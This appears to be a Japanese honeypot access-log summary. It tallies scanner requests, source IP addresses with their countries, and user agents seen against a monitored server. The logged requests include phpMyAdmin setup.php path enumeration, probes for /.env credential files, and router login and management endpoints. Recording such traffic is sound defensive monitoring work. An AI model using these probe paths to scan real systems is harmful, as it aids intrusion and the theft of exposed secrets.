2 GET http[:]//132[.]145[.]66[.]34:80/admin/pma/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/admin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/db/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/dbadmin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/myadmin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/mysql-admin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/mysql/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/mysqladmin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/mysqlmanager/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/php-myadmin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/php/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.10.0.2/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.10.2/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.10.3/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.11.0/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.11.1.2/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.11.3/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.11.4/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.11.7/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.11.9.2/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.5.4/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.5.5-pl1/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.5.5/scripts/setup.php HTTP/1.0
2 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.5.7-pl1/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.8.0.2/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin2/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin3/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpma/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpmanager/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpmy-admin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpmyadmin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/pma/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/sqlmanager/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/sqlweb/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/web/phpMyAdmin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/webadmin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/webdb/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/websql/scripts/setup.php HTTP/1.0
4 GET http[:]//test[.]getproxylist[.]com/ HTTP/1.1
2 HEAD / HTTP/1.1
2 POST /boaform/admin/formLogin HTTP/1.1
4 POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1
1 POST /login.asp?id=44 HTTP/1.1
1 POST /scripts/WPnBr.dll HTTP/1.1
1 POST /sdk HTTP/1.1
1 POST /wsman HTTP/1.1
2 PRI * HTTP/2.0
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス
1 2.59.254.248 Bulgaria
1 13.40.3.71 United States
4 20.98.115.131 United States
1 35.189.212.194 United States
1 36.225.100.80 Taiwan
1 43.248.108.204 China
3 45.14.226.38 Netherlands
1 45.55.129.226 United States
1 45.56.108.128 United States
2 45.79.128.205 United States
2 45.79.172.21 United States
1 45.79.181.104 United States
1 45.79.181.179 United States
1 45.79.181.223 United States
4 45.151.181.201 United Kingdom
1 47.88.94.159 United States
1 47.89.193.162 United States
5 50.31.21.7 United States
14 51.79.29.48 Canada
6 54.36.115.221 France
1 64.62.197.29 United States
3 80.66.76.80 Russia
2 83.97.73.87 Germany
1 89.248.165.167 United Kingdom
2 109.237.98.226 Russia
1 124.31.104.161 China
2 137.184.105.192 United States
2 159.203.44.105 United States
2 162.142.125.12 United States
1 162.243.139.15 United States
2 167.99.13.19 United States
1 172.104.11.34 United States
1 172.104.11.51 United States
2 172.105.128.12 United States
2 172.105.128.13 United States
1 180.149.125.171 Mongolia
2 184.105.247.194 United States
1 185.17.0.2 Seychelles
2 185.216.140.209 United Kingdom
1 192.64.87.170 United States
1 198.199.106.97 United States
1 205.210.31.33 United States
1 205.210.31.231 United States
1 218.95.226.135 China

UserAgent一覧

件数 UserAgent
29 -
3 Go-http-client/1.1
2 Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Mobile Safari/537.36
1 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
4 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 OPR/94.0.0.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
3 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
5 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.61 Safari/537.36
22 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
7 Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 MGLNDD_13.67.44.234_80
3 \x03
1 \x16\x03\x01\x01H\x01
21 \x16\x03\x01
1 ``
25 GET /.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /HNAP1 HTTP/1.1
1 GET /Public/home/js/check.js HTTP/1.1
1 GET /Temporary_Listen_Addresses/ HTTP/1.1
3 GET /aaa9 HTTP/1.1
3 GET /aab8 HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /c/ HTTP/1.1
1 GET /druid/index.html HTTP/1.1
1 GET /evox/about HTTP/1.1
8 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /nmaplowercheck1694587009 HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /static/admin/javascript/hetong.js HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
2 GET /wp-content/ HTTP/1.1
1 HEAD / HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
1 POST /login.asp?id=44 HTTP/1.1
1 POST /sdk HTTP/1.1
1 PRI * HTTP/2.0